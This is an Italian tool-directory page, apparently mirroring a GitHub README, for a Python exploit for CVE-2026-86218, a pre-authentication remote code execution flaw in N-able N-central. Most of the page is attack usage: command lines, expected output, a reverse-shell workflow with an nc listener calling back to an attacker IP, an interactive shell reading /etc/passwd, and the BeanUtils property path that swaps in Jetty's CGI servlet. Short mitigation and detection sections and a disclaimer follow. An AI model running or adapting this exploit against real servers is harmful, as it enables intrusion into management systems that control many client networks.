Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-86218 — Exploit proof-of-concept in Python 3 per CVE-2026-86218, un RCE pre-auth in N-able N-central tramite una race condition multipart di Struts, con esecuzione di comandi e supporto reverse shell. | Kitploit
Strumenti/GitHubGitHub/super-meuw/cve-2026-86218
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitPenetration TestingRed TeamingStrumento di Accesso RemotoSviluppo Payload
GitHubsuper-meuw/cve-2026-86218

CVE-2026-86218

Exploit proof-of-concept in Python 3 per CVE-2026-86218, un RCE pre-auth in N-able N-central tramite una race condition multipart di Struts, con esecuzione di comandi e supporto reverse shell.

21 giorno faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-86218 - Exploit RCE Pre-Auth in N-able N-central

Panoramica

Questo è un exploit proof-of-concept in Python 3 per CVE-2026-86218, una vulnerabilità critica di esecuzione di codice in remoto pre-autenticazione in N-able N-central.

Dettagli della vulnerabilità:

  • CVE: CVE-2026-86218
  • Punteggio CVSS: 10.0 (Critico)
  • CWE: CWE-96 (Static Code Injection)
  • Versioni interessate: N-central < 2026.3.1.14
  • Vettore di attacco: Rete (Non autenticato)

Descrizione della vulnerabilità

N-able N-central utilizza un form Struts con ambito di sessione su un'azione non autenticata (/remoteControlAction.do). Due richieste multipart concorrenti possono causare una race condition nel gestore multipart del form ed esporre la configurazione attiva di Jetty alla popolazione delle proprietà di Commons BeanUtils. Ciò consente a un attaccante di:

  1. Sostituire un holder di servlet lazy di N-central (ad esempio, LogRetrieval) con il servlet CGI incluso in Jetty
  2. Configurare il servlet CGI per eseguire comandi arbitrari tramite /bin/sh -s
  3. Inviare comandi attraverso il mapping URL del servlet sostituito

Requisiti

root@kitploit:~
pip install requests

Utilizzo

Sintassi di base

root@kitploit:~
python3 CVE-2026-86218.py -t <target_url> [options]

Opzioni

OpzioneDescrizione
-t, --targetURL di N-central di destinazione (ad esempio, https://192.168.1.100)
-c, --commandSingolo comando da eseguire
-i, --interactiveModalità comando interattiva
--lhostIP del listener per la reverse shell
--lportPorta del listener (predefinita: 4444)
--servletServlet da sostituire: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet
--checkVerifica se il target è vulnerabile
--no-verify-sslDisabilita la verifica del certificato SSL
--timeoutTimeout della richiesta (predefinito: 30s)
--race-delayRitardo della race condition (predefinito: 0.35s)
-v, --verboseAbilita output dettagliato

Esempi

1. Verifica se il target è vulnerabile

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl

Output previsto:

root@kitploit:~
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable

2. Esegui un singolo comando

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl

Output previsto:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)

3. Reverse Shell

Avvia prima il listener:

root@kitploit:~
nc -lvnp 4444

Esegui l'exploit:

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl

Output previsto:

root@kitploit:~
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection

Output del listener:

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)

4. Modalità interattiva

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl

Sessione interattiva:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup

ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)

ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!

ncentral> exit

5. Utilizzo di un servlet diverso

root@kitploit:~
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl

Opzioni dei servlet

ServletDescrizioneImpatto
LogRetrievalEndpoint di recupero log (predefinito)Meno invasivo, log non disponibili fino al riavvio
FileTransferEndpoint di trasferimento fileInterrompe la funzionalità di trasferimento file
AutomationManagerDownloadServletDownload dell'automation managerRichiede la porta dell'interfaccia di gestione (8443)

Come funziona

Flusso di sfruttamento

  1. Verifica versione: Interroga /remoteControlAction.do per estrarre la versione dalla pagina di errore
  2. Acquisizione sessione: Ottieni un JSESSIONID non autenticato
  3. Race condition:
    • Invia una richiesta multipart lenta che si mette in pausa durante il parsing
    • Mentre è in pausa, invia una richiesta helper per installare il gestore sul form condiviso
    • Riprendi la richiesta lenta con i campi di iniezione delle proprietà di BeanUtils
  4. Sostituzione servlet: Sostituisci LogRetrieval con il servlet CGI di Jetty
  5. Esecuzione comandi: Invia comandi attraverso l'endpoint CGI

Dettagli tecnici

La vulnerabilità sfrutta una race condition nella gestione dei form multipart di Struts:

  • Struts memorizza un oggetto form per sessione HTTP
  • All'inizio di una richiesta multipart, Struts rimuove il gestore multipart del form
  • Una richiesta lenta si mette in pausa mentre Struts sta ancora leggendo il body
  • Una richiesta helper termina e installa il suo gestore inizializzato
  • Quando la richiesta lenta continua, BeanUtils segue i nomi di campo creati ad hoc attraverso il gestore
  • Questi campi navigano fino al WebAppContext di Jetty e sostituiscono l'holder del servlet

I campi di mutazione utilizzano percorsi di proprietà JavaBean:

root@kitploit:~
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass

Questo attraversa: gestore multipart → contesto servlet → classloader → WebAppContext → gestore servlet → holder specifico

Mitigazione

  1. Applica subito la patch: Aggiorna a N-central 2026.3.1.14 o successivo
  2. Limita l'accesso: Limita l'accesso in entrata alla console di N-central
  3. Segmentazione di rete: Posiziona N-central dietro VPN o allowlisting IP
  4. Monitora i log: Controlla attività API sospette e creazione di utenti

Rilevamento

Indicatori nei log

  • Richieste insolite a /remoteControlAction.do
  • Richieste multipart con nomi di campo insoliti
  • Attività correlate a CGI sugli endpoint LogRetrieval
  • Creazione imprevista di account utente

Indicatori di rete

  • Richieste multiple rapide allo stesso endpoint
  • Payload multipart di grandi dimensioni
  • Connessioni da IP di origine insoliti

Riferimenti

  • N-able Security Advisory
  • N-able Hotfix 4 Release Notes
  • Rapid7 Metasploit Module
  • Huntress Blog Post
  • CISA KEV Catalog

Disclaimer

Questo exploit è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'uso non autorizzato di questo exploit contro sistemi di cui non si è proprietari o per cui non si ha il permesso di testare è illegale e non etico.

Ottieni sempre un'autorizzazione adeguata prima di condurre attività di penetration testing.

Crediti

  • Scoperta della vulnerabilità: N-able Security Team
  • Modulo Metasploit: sfewer-r7 (Rapid7)
  • Sviluppo dell'exploit: Basato sulla ricerca di Rapid7 e sugli advisory pubblici
Scarica lo strumento